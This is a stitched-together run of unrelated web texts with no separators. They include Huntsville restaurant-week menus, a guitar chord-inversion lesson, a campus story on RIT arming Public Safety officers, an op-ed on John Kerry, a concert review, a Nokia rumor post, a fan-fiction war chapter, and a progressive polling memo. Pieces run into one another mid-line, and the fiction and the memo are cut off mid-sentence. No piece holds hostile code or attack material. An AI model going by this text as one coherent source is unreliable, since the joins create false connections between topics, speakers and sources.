$15 Lunch: Half fresh and hot soup, Half fresh and delicious salad, Chicken Salad Crepe and Crepe de Frutas, Gluten Free Chicken salad taquito with homemade salsa and chips, Choice of ice cream or five types of cake slices
Sage Grille at Westin Huntsville, 6800 Governors West Road N.W., 256-428-2000
$15 Lunch: Chilled Soup of the Day, Choice of Chicken Salad in a Pineapple Boat with Minted Fruit Salad or Grilled Summer Vegetable Wrap with Broccoli-Slaw
$30 Dinner: Choice of Chilled Soup of the Day or Greene Street Market Salad, Choice of Soft Smoked Salmon over Spaghetti Squash or Flank Steak with Brown Bread Stuffing, Choice of Coconut Cake with Pineapple Sauce or Band of Fruit with Grand Marnier Crème
Scene Restaurant & Lounge at Monaco Pictures, 370 The Bridge Street, 256-327-8347
$20 Dinner: House Salad, Giant Crab Cake, Chicken Paillard, Choice of Triple Chocolate Cake or The Blondie
$30 Dinner: Choice of Edamame or Kale, Pine Nut & Parmesan Salad, Choice of Sushi Roll or Chicken Florentine, Choice of Triple Chocolate Cake or The Blondie
Shea's Express, 415 Church St., Ste. E, 256-532-5282
$10 Lunch: Cashew Asian Noodle Salad with Grilled Chicken and Almond Sugar Cookie
Taziki's Greek Fare, 4855 Whitesburg Drive, 256-881-9155
$15 Lunch: Hummus, Taziki Feast Plate, Chocolate Cake
$30 Dinner: Hummus, Grilled Chicken Dinner, Baklava, Dark Chocolate Cake
The Boot Pizzeria, 11505 S. Memorial Pkwy., 256-489-1771
$10 Lunch: Bruschetta, Lasagna
$20 Dinner: Caprese Salad, "The Boot" Calzone
The Bottle, 101 Washington St., 256-704-5555
$30 Dinner Menu: Chilton County Peach Salad, Pan Seared Georges Bank Jumbo Sea Scallops, The Bottle's Bread Pudding
The Eaves Restaurant, 501 A Church St., 256-489-1752
$10 Lunch: (Tuesday, Wednesday, Friday) Blackened Fish or Shrimp Tacos, (Sunday brunch, 10:30 a.m.-3 p.m.) Eggs Benedict
$15 Lunch: (Tuesday, Wednesday, Friday) Jumbo Lump Crab Cake and Filet Slider Duo served with Chef's Choice sides, (Thursday served with a crisp micro-green salad)
The Great Room at Marriot Huntsville, 5 Tranquility Base, 256-830-2222
$10 Lunch: Fried Green Tomatoes, Turkey BLT with fries or chips
$20 Dinner: Fried Green Tomatoes, Choice of Herb Roasted Chicken or Eight Ounce Center Cut Sirloin, mashed potatoes, vegetable medley, Choice of Tropical Bread Pudding or Koko Moko Pie
The Office Break Room & Bar, 121 North Side Square, 121 North Side Square, 256-964-7373
$10 Lunch: Choice of Caesar, Autumn or Office salad, Choice of four different half-sandwiches, Choice of soft drink or tea
West End Grill, 6610 Old Madison Pike, #109, 256-722-8040
$10 Lunch: Cup of Crafter Soup, Cajun Grilled Ribeye Steak Sandwich, Choice of fries or side
$20 Dinner: Choice of Soup of the Day, Chili, Side Salad or Caesar Salad, Choice of Bourbon Marinated Salmon Filet, Grilled Steak Tips, Smothered Chicken Breast, two sides, choice of five desserts
Wintzell's Oyster House, 5100 Sanderson St. N.W., 256-726-0511
$10 Lunch: Cup of Gumbo, Shrimp Salad, Fresh Fruit
$30 Dinner: Cup of Gumbo, Blackened Redfish, Bread Pudding
huntsville.orgImpress your grandma with your upside down chord building skills by learning chord inversions!
This is Part 2 in my 3 part series of Chord construction
Prerequisite reading:
Learn to play guitar scales for beginners
How to play Major and minor Scales all over the neck
Learning intervals for guitar
Chord construction part I
Chord inversions
When a chord's root is not the lowest pitch, the chord is said to be inverted. The name of the chord stays the same.
Why learn chord inversions
Understanding chord inversions help you choose different voicings (more ways to stack tones) of chords. Learning inversions also helps to improve your improvisation skills. Improvising (creating music on the fly) is a common thing to do in Jazz guitar but it's also great for coming up with musical ideas.
Two types of inversions
* First inversion = the 3rd is the lowest pitch in the chord.
* Second inversion = the 5th is the lowest pitch in the chord.
Guitar fretboard animation of triad shape inversions
The GIF animation below shows all the naturally occurring triad inversion shapes color coded in the key of A Major/F# minor (single animation frames are below actual animation).
This purpose of the animation is to help you see how the notes for each string group do not change by letting you focus your attention on one color coded chord at a time as it's shape changes. Only the note's role changes depending on the inversion screen you are currently viewing. With this, you should be able to see how all notes of a scale are harmonically connected!
*** TIP HOW TO USE THE ANIMATION: Focus on a scale degree's color and watch only it's inversions.
The key of A Major/F# minor was used for this lesson because everything fits nice visually up to the 12 fret. However, the triad shapes remain the same for all keys. Only their positions would change for the new key.
Single slideshow FRAMES
How to read the diagrams: Roman numeral columns denote the scale degree for each chord. Capitalized numerals are Major, lowercase are minor or diminished. Chords are color coded!
3rd string triad shapes
4th string triad shapes
5th string triad shapes
6th string triad shapes
Why no first or second string diagrams?
There are no first or second string diagrams because you can't play full chords in the correct order using only one or two strings. You can however, play arpeggios and you should try it!
Summary
I bet you understand chord inversions a whole lot better now...don't you think? I bet you can also see you have your work cut out for you too. Spend the time to commit these triad shapes to memory because it will work wonders for you on so many different levels especially building chords on the fly and improvisation.
Ready to build more guitar chords?
Read Part 3
If you liked this lesson and want to be notified immediately when I publish more awesome animated lessons, don't be afraid to subscribe using your email address below.
Get Music Lessons in Your Inbox
Be instantly notified when I release new FREE stuff!After the recent mass shooting in San Bernardino, California, the U.S. has experienced 353 mass shootings in 2015, with mass shootings being defined as four or more people shot. With heightened concern on college campuses, RIT is looking to change the way it would handle an active shooting situation.
According to an anonymous source with deep background on the subject, Public Safety will begin training a select number of officers to handle a long gun, or a rifle or shotgun, in the event of an active shooter on campus. These guns would be held in a select number of Public Safety cars, only accessible to those who were trained for them. In the event of an active shooter, these officers would not only alert the local police force, but also have the ability to respond themselves.
"It's sort of a super basic approach because we will not have pistols like normal law enforcement does," said the source. "It allows Public Safety to respond in some sort of capacity, which is better than nothing."
The source went on to explain that they don't feel as though it is enough because if officers are not armed and in the middle of an active shooting, they are still helpless until armed backup gets there.
"It doesn't make traffic stops safer for Public Safety officers and it doesn't make anyone safer in domestic violence incidents where the use of deadly force is being used," the source explained. "That being said, this is a foot in the door and who knows what will happen in the future."
The guns that would be used would need to be New York State Safe Act compliant, which according to the source could make them harder to use by design. According to the Safe Act, the gun can only contain ten rounds, cannot have a pistol grip and cannot have a compensator on the barrel. The reason for this is RIT's Public Safety isn't a sworn agency.
The source said that they couldn't explain the current plan used in detail for safety reasons, but there is currently a heavy reliance on the Sheriff's department, rather than Public Safety, in an active shooting situation.
"The idea behind this plan is to get armed resistance to them [the shooter] quicker while we wait for the Sheriff's office," the source explained.
President Destler sent out a Message Center email on December 9 stating that these changes would take place in 2016. He did not clarify if this meant in the spring or fall semester of 2016.
In October, RIT had two separate instances of a student being found with an unlawful weapon, according to the Public Safety crime report.
On Dec. 8, the Student Government cabinet was presented with this plan. Student Government President Nick Giordano declined to comment on the matter.
"It's certainly not an "Active Shooting" plan, but we are preparing to announce a modest change in campus safety capabilities in the near future," Destler said when asked to comment. If that's the case, then when else would the guns be pulled out other than in an active shooting situation? When asked this, Deslter said, "I am going to give an update to the governance groups as soon as it can be arranged. You will have to wait for those meetings to learn more."
After stating this, Destler sent out a Message Center email on December 9.
Chris Denninger, Director of Public Safety, had something similar to say: "The president is planning to give an update to the governance groups soon, and please wait for those meetings to learn more." These meetings will take place over the next two weeks.Shhh... Maybe if no one knows about the terrorists, they’ll all go away.
That’s pretty much what Secretary of State John Kerry seemed to be suggesting in Bangladesh this week when he gave reporters covering his first official visit there some astonishing advice.
Terrorists “can make some noise” by going out and killing people, he said, adding: “Perhaps the media would do us all a service if they didn’t cover it quite as much.”
How would that help? Explained Kerry: “People wouldn’t know what’s going on” — so presumably, they wouldn’t be terrorized.
Of course, they’d still be victims. But hey, ignorance is bliss, right?
Then again, this is the same guy whose embarrassing effort to show support for France after the Charlie Hebdo massacres was to fly aging singer James Taylor to Paris for a public performance of his 1971 song, “You’ve Got a Friend.”
Now, what Kerry seemed to be suggesting is that media coverage fuels terrorist copycats. That’s hardly a proven theory — and besides, it’s pretty irrelevant in the internet era.
Thanks to social media, terrorists can easily spread their message to would-be recruits. Whatever publicity they get on the evening news has nothing to do with it.
But those news reports do remind people that the Obama administration’s excuses and dubious counter-terror policies aren’t working.
Media coverage exposed the lie of the president’s absurd claim that ISIS was little more than a “JV team.” And it underscores the absurdity of rewarding state sponsors of terror like Iran with diplomatic deals that free up billions for terrorist funding.
Urging the press to help Americans stick their heads in the sand might be politically convenient for the architects of a failed policy. But it won’t stop a single terrorist attack.Want a free Google Nexus One? You might be outta luck, but YouTube Partners seem to be receiving exactly that gift from their Googley masters.
These YouTube super-users say they're receiving the "superphone" along with this note:
Dear YouTube Partners,
We're pleased to present you with this gift of a Nexus One phone, the new Google-branded mobile device sold only online at google.com/phone. There are no strings attached, it's just our gift to you for being such an important part of the YouTube Partner Program.
It's not clear whether everyone in the partner program is receiving a phone or just a select few (the note implies everyone, we think). That strategy makes sense: YouTube partners have huge influence on the site and may use their phones to film video clips, spreading the message further.
Below, Val from the popular YouTube channel Val's Art Diary shows off her new Nexus One, courtesy of Google.
[Thanks Val for the heads up]Concert Review
Kung Fu & Twiddle – Dirty Dozen Tour
April 11 • Rams Head Live • Baltimore,MD
By Matthew Bowers • Photos by Joe Schlee
On a chilly spring night in Baltimore, a tour featuring two of the most talked about bands in the scene right now would descend on the city and turn Rams Head Live into a funk driven spaceship and blast it into outer space. Marking the seventh stop on the Dirty Dozen tour, Twiddle and Kung Fu have been joining forces almost nightly to bring a non stop dance party to cities on the east coast. Both bring their own unique blends of sounds and both are overflowing with talent and the ability to get a crowd moving and sweating with ease.
The show would take off running as both bands would join forces on stage together for a funked out superjam that would set the tone for the rest of the evening. As Tim Palmieri of Kung Fu would trade licks with Mihali Savoulidis of Twiddle, anybody in attendance who has ever picked up the guitar most likely immediately felt the need to practice more. These are two of the best guitarists on the scene, and can keep up with just about anyone they play with. The two bands jamming together would set the tone for the night, and all of the happy people in the audience were booty shaking and smiling knowing they were in for a long night of amazing music and fun.
As the super jam finished up, Twiddle would leave the stage with the music uninterrupted. The format for this tour is no setbreaks, which inevitably leads to a lot of jamming between the two bands. This would be the first seamless transition as Kung Fu would begin their featured set.
Kung Fu blends elements of prog, funk, and shredding psychedelic rock to leave crowds with their jaws open every time they finish a jam. Drummer Adrian Tramontano and Chris DeAngelis would hold down the grooves all night while Todd Stoops hammered on his keys. Rob Somerville on sax and Tim Palmieri on guitar would hold down the melodic side of things, and these guys can absolutely wail. Tim Palmieri is certainly one of the best touring guitarists right now, and he did not disappoint when it came to showing his chops. Relentless funk jams and shreddy peaks had the crowd in a frenzy for the entire set. Mihali of Twiddle would join the band on stage, and the lucky crowd got treated to a debut of a new song called “Lost in The Cold.” This song would showcase Mihali’s vocal talents and of course featured a fantastic guitar duel with Tim Palmieri that would be a theme throughout the night. The version of Hollywood Kisses with Mihali and Tim absolutely just shredding with each other was a personal highlight of this set.
As Twiddle started to transition on stage and jam with the Kung Fu guys, it was hard to imagine that there was still another set to be played, and it would be a great one.
Twiddle is a band that has been really taking off over the past couple of years. Their blend of reggae, funk and improvisational jamming is the perfect storm of sounds to appeal to pretty much any fan of music you can groove to. They have all the talent in the world to put them over the top, these guys are worth all of the buzz they’ve been getting.
The amount of music these guys play together really shows when they’re on stage, their extended improv jams are impressive to say the least. It’s a kind of skill that takes knowing your bandmates extremely well and hours and hours of practice. With no shortage of soaring guitar solos and booty shaking basslines, some of the jams they create are really just beautiful. As I danced along with everyone else, the vibes in the room were all positive and there was no way anyone couldn’t enjoy themselves with the quality of music coming off the stage. Mihali is one of those guitar players that when you listen to him play, you think “how did he do that?” He is almost note perfect and can switch from psychedelic shred to blissful quiet playing without missing a beat. Ryan Dempsey on keys would trade licks with Mihali and hold down some rhythm while Zdenek Gubb on bass and Brook Jordan on drums would take care of locking up the low end funk and reggae grooves. This set would include a crowd favorite “Hatti’s Jam > When it Rains it Pours” segment that would have the entire room singing along. The icing on the cake is that Tim Palmieri made an appearance during this segment that would just send the vibes through the roof. If you didn’t have a big cheese grin on your face at this point, you would have looked out of place.
As the set went on, Todd Stoops and Adrian Tramontano of Kung Fu would both make appearances, setting up for a “Let’s Get it On > La Bamba” encore that would feature all 9 musicians on stage.
As the show came to a close, the crowd gave an enthusiastic ovation that was beyond well deserved. This is a co-bill that just works together, and I personally hope to see the two bands make a stop in town again. I left the show sweaty and tired from dancing so much, and would have stayed there another 3 hours if they would have been willing to play that long. From the looks of the people leaving the venue, I can say without a doubt I wasn’t the only one that felt that way. It was one of those memorable nights of music that you hope for a repeat of, and I appreciated every second of it. Many thanks to both bands for making amazing music, and putting smiles on people’s faces night after night.AT&T has already confirmed it will exclusively sell the Nokia Lumia 920 smartphone in the United States beginning November 4.
However, other US-based operators will offer Nokia’s Windows Phone 8 devices as the Finnish company decided to launch various carrier-bounded models.
Rumors on a mysterious Lumia 9xx surfaced for the first time last week, along with a very blurry picture of the phone’s camera.
According to these rumors, Nokia Lumia 9xx is a Verizon-bounded device, which will probably be available for purchase starting next month.
The folks over at MyNokiaBlog have been recently tipped on some the smartphone’s features, though this info has to be taken with a grain of salt until Verizon comes forward with an official announcement.
Well, it looks like the Nokia Lumia 9xx will arrive at Verizon Wireless with a slightly better camera than AT&T’s Lumia 920.
Although both phones will have the same module camera, Verizon’s device will have a higher amount of megapixels. Previous rumors point to a possible 12-megapixel rear camera for Lumia 9xx, whereas AT&T Lumia 920 will boast an 8-megapixel photo snapper.
Moreover, Nokia Lumia 9xx will feature an improved 2-megapixel front-facing camera for video calls, while AT&T’s version comes with a slightly lower 1.3-megapixel secondary camera.
Even though there are no details on the Lumia 9xx’s possible release date, MyNokiaBlog’s tipster mentioned that the smartphone will go on sale for as low as $149.99 USD with a new two-year agreement. There’s still no word on the no-term price.
Keep in mind that Nokia Lumia 9xx is not intended to be superior to Lumia 920 in all aspects, as AT&T’s model would have a hard time selling. We expect more details on Verizon’s Windows Phone 8 devices to emerge in the following days so stay tuned for more updates on the matter.Hello everyone! Sorry this chapter took a while to get to you, but I had college finals, and then after that, I had to send my computer away to get repaired, so I was unable to spell check & post chapters. But, I just wish everyone still likes this chapter, enjoy!
After dropping the evacuated US soldiers off at a base in Hawaii, the team waited to decide on what their next mission would be. Although there was a feeling of disappointment spread throughout the ship. Everyone felt beaten, their dark counterparts had taken Guam in no time flat, and many US soldiers had lost their lives. But right now, Fabienne Growley had requested that Alex do an interview with her, so he had to put on a happy face to boost the morale of those watching.
Arriving at her cabin, Alex saw that there was a spot in the corner where Fabienne had made tale marks on the floor, probably telling him where to stand as there was a camera set up facing the space above the tape marks.
“Ah, Alex,” the snow leopard said, quickly going up to him and affixing a mic to his shirt. “Say something”
“Uh, hello?”
Fabienne looked at a laptop nearby and checked if the audio was coming through. “Ok, the sound is good. Stand on those tape marks please”
Alex did as he was instructed, and looked straight at the camera as the snow leopard counted down from 3 to 0 before clicking the record button on her laptop.
“Hello,” Fabienne said, and Alex noticed she had a mic on her jacket as well “tonight I am joined by Alex Boehm, the captain who is leading the US war effort. Thank you for doing this interview”
“No problem, I’m happy to be here”
“What are your thoughts about the current state of this war?”
“I hope it doesn’t destroy the world. China and the United States are the planet’s most powerful militaries, and now their clashing against each other, it is not a good situation”
“It most certainly isn’t, tell me, what happened during the battle you just fought at Guam?”
“Well, we landed and covered the evacuation of some civilians still on the island. Unfortunately, they didn’t make it out in the end, as the Chinese destroyed the carrier with the civilians on it”
Alex could just imagine all the people gasping as he said those words. He took a deep breath and thought about the next thing he would say.
“It was hard to watch, but my team managed to keep going, and prevent any more losses. We can’t stop just because we failed once. The US air strikes managed to drive Chinese land forces into a corner, and once they were dealt with, the typhoon managed to destroy the Chinese fleet with the help of US warships”
The snow leopard nodded, and Alex kept his eyes on the camera.
“However the Chinese made another attack with…. some elite soldiers and a highly advanced warship, and they managed to overrun our defenses, killing many US soldiers. However we were able to evacuate on the typhoon, but the Chinese now have the Island”
“Speaking of which, what impact do you think this defeat has?”
“Well, I think everyone on board feels like we’ve been beaten and kicked down into the dirt, but we are persistent, and mark my words we’ll come back and achieve a victory soon enough”
“That’s fantastic Alex, thank you for your time”
Fabienne stopped the recording and Alex removed his microphone.
“I know you said the typhoon was going into dangerous places, but I didn’t expect to get into a ship to ship engagement so soon,” the newscaster said.
“Don’t worry, with me at the helm and this ship’s advanced armor plating, you should be safe. But we do have evacuation protocols in place just in case. I trust you’ve read up on all the information regarding the typhoon?”
“Yes, I know what to do in case of emergency, and I’ve been spending my free time exploring the ship and getting my bearings”
“That’s a good thing to do if this ship is going to be your home”
“Thank you again for inviting me onboard, I got all the footage I need for tonight’s report. Tune into ZNN later on”
“Maybe I will take care!” Alex said, turning to leave before the snow leopard spoke again.
“Oh Alex, listen, I know what happened on that island. How there’s some evil version of you going around killing US forces, but I want you to know I’m not going to mention anything about that in my news report. People need their heroes to look up to, they need to believe in someone that will fight to win this war, they need someone like you and your team. They need to have hope that the United States can win this war”
“Thank you,” Alex said, before leaving Fabienne’s cabin.
000
“What species are you?” JayJay asked Toothdee, while the 2 sat in chairs on the bridge “I mean, you have large front teeth, a tail that looks like it belongs on a dinosaur, and… that is shot blue FUR right?”
“Yeah it’s fur, to be honest, I’m not entirely sure what I am either. But I’m not like an alien or something”
“I’m just jealous that your fur is naturally blue, I have to use dye”
“What are you two up too?” Alex asked, entering the bridge. Now that the ZNN interview was over, he was going around and checking on everyone, as a way to boost morale and promote connectivity.
“Hey Alex,” JayJay said “just talking about blue fur”
“Are you guys feeling ok? We just got our tails handed to us by our dark counterparts”
“Speaking of our dark counterparts,” Toothdee said, “What happened during the fight with your own dark counterpart?”
“My counterpart is extremely skilled. I’ve never faced an enemy more experienced with a sword. His weapon is red, so he’s using chi for evil, and it has a chi energy chainsaw in the blade. Also, he has this weird sort of shield technology that can block bullets”
“I didn’t see my own counterpart”
“My guess is, she was onboard the typhoon, piloting it and destroying US warships”
There was silence while Toothdee thought these facts over.
“Anyways, I’m gonna see how everyone else is doing,” Alex said before walking off, while JayJay did a small wave goodbye.
Toothdee was lost in thought, could Alex’s counterpart really have bested him? What if he wasn’t able to beat Dark Alex? And despite her friend’s triumphs for justice and peace if one Alex could become such a force for evil, what would stop another one from doing the same?
000
Alex went to check in Kion and Jasiri, who were in their shared cabin. The pair opted to bunk together, as they were in a relationship, and nothing was more joyful to them than being able to cuddle. The lion and hyena were sitting on the couch and watching a movie on TV, with Jasiri snuggled into kion’s chest, and a bowl of popcorn and 2 mugs of tea sitting on the table in front of them.
“Hey, you two alright?” Alex asked, wanting to make this intrusion quick as not to interrupt the couple too much.
“Yeah we’re fine,” Jasiri said “Just a little down about being defeated. But, although we lost this battle, we haven’t lost the war”
“Oh yeah, also…” Kion spoke up “we had a run in with JayJay’s dark counterpart. We barely escaped from her”
“Oh no, what are her combat strategies and tactics like?” Alex asked, hungering for knowledge so he could better defeat his enemies.
“She moves with amazing speed, grace, and lethality. Don’t underestimate her Alex, she’s a force to be reckoned with”
“I had a run in with your counterparts as well. But Jasiri, your counterpart used a very strange sword”
“Strange in what way?” The hyena asked.
“Do you have a pencil and paper?”
Finding it easier to draw Dark Jasiri’s weapon than describe it, Alex made a rough sketch of the sword, before explaining how it could turn like a helicopter blade.
“I prefer 2 pistols,” Jasiri said “Kion is the sword guy”
“Did my counterpart have a different weapon?” Kion asked.
“No, it looked like your sword, but with more battle damage,” Alex said, “what are you two watching?”
“The force awakens”
On screen, a Resistance X-wing blasted down a First Order TIE fighter in an explosion of fire.
“Want to stay and watch it with us?” Jasiri asked
“No, you two are having your private time, I’ll leave you be, take care,” the captain said, leaving the room.
“Well, as long as we’re alone….” Jasiri said, climbing on top of Kion and kissing him on the lips. The lion reached out and turned off the TV before Jasiri attacked him with another loving embrace.
000
Jack, Skye, Nick, & Judy were in the armory, checking their weapons and preparing their kits for the next battle. Judy had used the computer in the armory to write a report about her and Nick’s counterparts, as they had a run in with them at Guam. Their outfits were dark, with the orange fur of Nick’s counterpart looking like the color had been drained away, and the fur was almost dead. Judy worked a lot with police paperwork, so crafting a coherent and straightforward report about their counterparts combat tactics was not a problem by any means. Once the report was entered in the Heroes database, the rabbit went over to join her friends.
“We don’t need to manually reload the magazines?” Skye asked
“Nope, just pour the bullets into that machine over there and put a magazine beneath it,” Nick said, pointing to a contraption that contained a large funnel-shaped container filled with bullets, and space where multiple magazines could be placed. “It fills them automatically, and makes sure the right bullet is going into the right magazine”
The armory contained designated areas for each member of the team to store their kits in, which Jack & Skye had already done.
“Why aren’t there any dark counterparts of us?” Jack asked, looking at Skye.
“Maybe there are?” Judy hypothesized “but they are staying hidden and working from the shadows”
“That could be possible,” Skye said, “we should be on the lookout”
“You don’t need to worry about them getting in here, this ship has advanced security measures and an experienced team defending it”
“I have to say I’m impressed with the gear here,” Skye said, checking out the weapons workbench “we have advanced technology at the agency, but these are tools I’ve never seen before. I’m going to spend all night tinkering with the equipment in here”
“What am I supposed to do?” Jack said jokingly “just sit in the room alone?”
“I’ll back later, & if you’re asleep then I’ll climb into bed with you”
“Awww,” Judy said, “have you two spent any time together recently?”
“We had a mission in Hawaii, and we spent one of our days off going swimming and enjoying the beach”
“Trust me, this ship will take you to some exciting places” Nick chimed in “Once when the typhoon went to Boston and me and Carrots had a night out on the town”
“It was amazing seeing all the landmarks!” Judy said, remembering the happy memory.
“And I was just happy to spend time with my bun,” Nick said, grooming Judy’s ears, as foxes usually did with those they love.
“Hmm, well we were just in the South Pacific,” Jack thought “Skye, want to go out and have some time together whenever the typhoon reaches a tropical island? Of course whenever we’re not needed for battle”
“It’s a date,” Skye said, before kissing him on the cheek.
000
Laval and Eris were in the typhoons training room, which was perfectly equipped to keep the team functioning at peak capacity, both physically and mentally. The two were about to start some sparring practice, but Laval revived a FaceTime call from Cragger, who was joined by Worizz & Gorzan.
“Hey, cragger, what’s up?” The lion said, watching the 3 animals on the other end shove each other trying to get in front of the camera.
“Just saying hi, are you two enjoying yourselves?” Cragger asked as Gorzan fell backward out of frame.
“Yeah, we’re keeping busy between battles, sorry there’s not much action there in Chima”
“Don’t worry, we still find ways to have fun. I hope you two are doing some serious work in the battles you fight”
“Of course”
“Ok, well we’ll leave you two be, bye-“ the crocodile was cut off as Worizz clamored in front of him, causing the phone to fall into a stream the group was standing next too before the call cut off.
Laval placed his phone down before heading over to his bag in the corner of the room.
“I just remembered Eris, I have something to give you”
The eagle was instantly intrigued, Laval always gave her nice gifts, in the past, she had gotten flowers & pastries from him.
Reaching into his bag, the lion presented Eris with a dark wooden box with gold trim. So enamored in the box’s outer beauty, Laval had to remind her to open the box and see what was inside. What was inside was an assortment of finely crafted stones and pieces of metal. A set of tools to sharpen her axe, and keep it looking pristine through battle after battle.
“I hope you can use that to keep your axe in perfect condition,” Laval said.
Eris noted some gold lettering on the inside of the box cover, saying ‘to Eris, with love. -Laval’
“Oh, Laval,” Eris said, completely in love with the present.
“Thank you,” the eagle said, wrapping her lion in a hug.
000
Haida clicked the submit button on his computer, and a box of text with the words ‘submitted’ came up. The hyena checked a clock on the wall, before turning back to the computer and realizing he had indeed finished everything he needed to finish for the day. Another pallet of cannon shells had been ordered, new reports had been sent to Washington, more medical supplies had been stashed in the storage room, and the database had been scrubbed for malware.
Haida still wasn’t used to how easy his job was now. Before he had worked in an accounting department where there were a million things to do on a daily basis, but his current job was a lot easier because of computer technology. There were still papers and files, but most tasks were digitalized, making them a lot less stressful and time-consuming. He appreciated that this job was a lot less stressful for the red panda he loved, and an easier job meant more time the hyena could spend with Retsuko.
“Hey Retsuko,” Haida said, turning around “do you want to go out for…”
The red panda was fast asleep at her desk, face down on a blank requisition form, gently breathing in and out.
He watched her for a moment, she was adorable, with bright soft fur that was kept well groomed. Haida wondered if that was why he fell for her. He did occasionally worry, as the Retsuko had a tendency to work too hard, but he was glad this job was easier than the last one they had. After a few seconds of watching her sleep, the hyena picked Retsuko up and started heading to put her down in a more comfortable bed.
Heading through the typhoon’s hallways, he passed by Alex, who greeted him with a small wave, before the captain headed to his own cabin. Despite being the captain Alex’s quarters were nothing special, and the same standard cabin everyone else got. Cabins on the typhoon were more spacious than other warships and provided a great room for habitation.
On one side of the room was the bed, which had drawers under it to store clothes. A door on one side of the room leads to the cabin’s bathroom, which included a shower. On the other side of the room were the closet and a desk. Most occupants customized their rooms somehow, as all the furniture except the bed was completely moveable. Alex had a TV set up on a table at one end of the room, with a small couch in front of it. He also had a shelf that contained various models, and the walls were adorned with posters and an American flag. In combat, large armored panels would come up over the cabin’s window to negate damage.
Hearing some noise across the hallway, Alex turned to face the cabin across from his own. The sign on the door said ‘JayJay’ and the captain could make out music playing. Opening the door, he walked into JayJay’s cabin, which also had posters on the walls, and the wolf sitting on the bed listening to music playing on her phone.
Upon seeing Alex enter the room, she turned off the phone, and the cabin became a lot quieter.
“Hey, what’s up?” She asked, standing up.
“I’ve been meaning to ask you,” Alex said, wanting to check on the wolf’s state of mind “are you alright? Are you feeling better? I know you are still broken up about that aircraft carrier the Chinese destroyed?”
JayJay sighed and looked away.
“I listened to what you said, I know I have to keep going, but I feel like I’ve failed like I’ve let people down.”
“There’s nothing we could have done JayJay. I know it hurts, but this is war, people die. But we can’t stop going because we failed once. It takes time to heal, I wouldn’t expect you to be back in your normal happy mood after one conversation with me”
“Yeah, but I did really take to heart what you said”
“I don’t want to make it any worse, but Kion and Jasiri had a run in with your dark counterpart”
She sighed again.
“I don’t like thinking that there’s some evil JayJay running around out there, hurting people. It scares me |
29 percent for the union message and 28 percent for the control message. This is not surprising given the hostility independents show towards trade agreements in this poll. The second test was a regression analysis. Controlling for other factors, the union message had the greatest likelihood of shifting respondents’ votes towards Democrats in the congressional vote; meanwhile, the trade message had the greatest likelihood of becoming more interested in voting in 2016. Together, these messages can increase turnout in a low-enthusiasm election and shift the vote towards progressive candidates. The third test makes the most of the experiment design of the poll and looks at the extent of support for conservative principles about the economy, growth and government, depending on which arguments respondents heard. Those who heard the trade debate were dramatically less supportive of the conservative worldview on the size of government and tax and regulation at the end of the survey. It seems that joining the trade debate with a plausible policy agenda legitimated a role for government and undermined the idea of small government, in ways we do not fully understand. It also eased some concerns about the impact of policy on small business. These findings, taken together, show that trade and labor arguments can boost engagement for progressive candidates and can weaken support for conservative policy positions. Landing the trade argument The Rewriting the Rules agenda includes key trade policy changes. The progressive policy offerings around better trade deals are more strongly supported than the conservative proposals, with voters giving the most support to the policies vowing to end the deals that protect big pharmaceutical companies that use trade deals to keep prices high and ensuring America maintains sovereignty and the ability to regulate country of origin. It is clear progressives want a debate about trade and candidates make gains when they join this argument. The most convincing argument in favor of the conservative trade position is less convincing that every progressive argument tested. Candidates should be against an agreement where corporate interests and CEOs negotiate their benefits in secret, while political leaders fail to look out for American workers: 64 percent of Americans find this argument persuasive, including 31 percent who find it very persuasive. That is more support than the best the Republicans have to offer, with a 10 point lead in intensity. That the agreements have cost American jobs is a close second in persuasiveness. Sovereignty is less powerful as an argument, at the moment.
Making the case on union representation In the current environment, it is no surprise that unions have a more negative than positive image in this survey. The online panel is a little more negative than the public generally. But that does not mean the progressive policy agenda related to worker empowerment and union representation is not strongly supported by the public when they hear it. Indeed, the policies emerging from the Rewriting the Rules report intended to expand the role of unions in the economy and politics win substantially more support than the conservative agenda backed by a conservative candidate. Those hearing the union version of the “Level the Playing Field” message prefer it to the conservative economic message with a statement about reigning in unions, 62 to 54. The progressive union policies are some of the most strongly supported policies tested in this survey, and they enjoy much stronger support than the conservative policies. Sixty-four percent think greater penalties for companies that violate overtime and minimum wage laws will produce a better economy, 36 percent say it would be very effective. This puts it alongside infrastructure investment and reigning in Wall Street risk as amongst the most powerful policy ideas progressives have. As a point of comparison, making college affordable scores 10 points lower. There is strong support for giving people the “legal right to join together with co-workers and negotiate with employers for better wages and benefits,” buttressed by laws against employer retaliation. Fresh language helps strengthen the case for collective bargaining. When we describe the policy as a “legal right to join together with co-workers and negotiate with employers” – without mentioning the words “union” or “collective bargaining” – 55 percent think it would produce a better economy, 26 percent say it would be very effective. When the same policy included the words “union” and “collective bargaining” only 42 percent said it would be effective in producing a better economy. Progressives will win more support for their efforts if they use this more descriptive language. The challenge for progressives is that the conservative rhetoric has a stronger grip on the public imagination. While the top two progressive arguments are a statistical tie with the top two conservative arguments, the conservative lines have a 10 point intensity advantage. Progressives’ strongest argument is one that aims to use unions as a check on corporations and CEOs that are only interested in their profits and shareholder payouts, not American workers. This view places the blame for jobs moving overseas on the shoulders of greedy corporate interests, not on union workers. A 53 percent majority say this is a convincing argument, 22 percent very convincing. The second most convincing argument in the progressive arsenal says unionized firms lead to higher wages for everyone in an industry by forcing them to compete for employees. Settling tactical choices In an effort to consolidate the progressive community, this survey also settles some nontrivial tactical choices. Koch brothers. By 55 to 45 voters think ‘Billionaires and corporate donors have unacceptable influence over government’ rather than that ‘Business influences government, but so do labor unions and other special interests.’ But when the Koch brothers are added to the message, the billionaire rhetoric loses its power. The inclusion of the Koch brothers makes the critique look political, and leads to one of the biggest differences in the survey: adding the clause ‘like the Koch brothers’ to the message shifts the balance of opinion in favor of billionaires (46 to 54). Jobs and raising incomes. Despite the creation of 14 million jobs under this administration and the certainty that we now need to focus on getting jobs to pay more, voters still are hungry for more jobs as the highest priority. They may well equate there being more jobs with more employee choice and market power. In this survey, job creation is the public’s priority over raising incomes by a 34 point margin. With the Rising American Electorate (RAE) – people of color, millennials and unmarried women – job creation is preferred to higher incomes by 30 points. At the end of the day, there is something elemental about having a good job – and that is why a good job has to be at the heart of the progressive project. To have equal power, raising wages should be linked to jobs that pay more. Inclusive growth over rapid growth. The public has gone beyond the economists’ prescriptions for faster economic growth to growth that is inclusive: “raises everyone’s incomes and wealth, not just those at the top.” They opt for that kind of growth by a 54 point margin. They also prefer improved economic performance that “produces a higher standard of living” to rapid growth by a slightly smaller thought still strong margin (+50). Inclusive growth, however, gets more intense support: 42 percent, compared to 37 percent for improved economic performance. Middle class. Economic messages gain strength when they are 